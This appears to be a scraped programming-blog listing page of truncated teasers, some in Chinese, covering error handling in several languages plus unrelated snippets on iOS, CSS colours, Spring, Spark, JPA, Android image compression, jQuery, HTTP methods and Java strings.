The default error handling in PHP is very simple.An error message with filename, line number and a m ...
-
Fortify漏洞之Portability Flaw: File Separator 和 Poor Error Handling: Return Inside Finally
继续对Fortify的漏洞进行总结,本篇主要针对 Portability Flaw: File Separator 和 Poor Error Handling: Return Inside Fina ...
-
Erlang error handling
Erlang error handling Contents Preface try-catch Process link Erlang-way error handling OTP supervis ...
-
Error Handling
Use Exceptions Rather Than Return Codes Back in the distant past there were many languages that didn ...
-
Clean Code&ndash;Chapter 7 Error Handling
Error handling is important, but if it obscures logic, it's wrong. Use Exceptions Rather Than Return ...
-
beam 的异常处理 Error Handling Elements in Apache Beam Pipelines
Error Handling Elements in Apache Beam Pipelines Vallery LanceyFollow Mar 15 I have noticed a defici ...
随机推荐
-
UIWindow 实现遮盖导航条的蒙版
使用代码构建应用的主界面 我们先来介绍一下,如何使用代码来构建项目的主界面,以及主界面的一般架构方式 概述 刚创建的 iOS 项目默认是使用 Main.storeboard 作为项目的主界面的 若你不 ...
-
CSS颜色代码 颜色值 颜色名字大全(转载)
CSS颜色代码 颜色值 颜色名字大全 转载处http://flyjj.com/css-colour-code.html 颜色值 CSS 颜色使用组合了红绿蓝颜色值 (RGB) 的十六进制 (hex) ...
-
ListableBeanFactory
ListableBeanFactory public interface ListableBeanFactory extends BeanFactory 该接口中定义了可以获取配置中所有bean的信息 ...
-
spark新能优化之数据本地化
数据本地化的背景: 数据本地化对于Spark Job性能有着巨大的影响.如果数据以及要计算它的代码是在一起的,那么性能当然会非常高.但是,如果数据和计算它的代码是分开的,那么其中之一必须到另外一方的机 ...
-
JPA主键策略
JPA 自带的主键策略有 4 种,在枚举 javax.persistence.GenerationType 中,分别是:TABLE.SEQUENCE.IDENTITY.AUTO. TABLE:通过表产 ...
-
也谈android开发图像压缩
long long ago,给学院做的一个通讯录App需要有一个上传图像的功能,冥思苦想,绞尽脑汁后来还是没解决(学生时代的事),于是就直接上传原图了,一张图片2M到3M,这样我的应用发布之后,那绝对 ...
-
jquery学习(2)--选择器
jquery-李炎恢学习视频学习笔记.自己手写. 简单的选择器 css 写 法: #box{ color:#f00;} //id选择器 jquery获取:$('#box').css( ...
-
requests补充
HTTP/1.1 协议规定的 HTTP 请求方法有 OPTIONS.GET.HEAD.POST.PUT.DELETE.TRACE.CONNECT 这几种.其中,POST 一般用来向服务端提交数据,本文 ...
-
【C语言程序】输出前50个素数
#include <stdio.h> #include <stdlib.h> int main(void) { ; ; ){ ; ;i<x;i++){ ...
-
java 创建string对象机制 字符串缓冲池 字符串拼接机制 字符串中intern()方法
字符串常量池:字符串常量池在方法区中 为了优化空间,为了减少在JVM中创建的字符串的数量,字符串类维护了一个字符串池,每当代码创建字符串常量时,JVM会首先检查字符串常量池.如果字符串已经存在池中,就 ...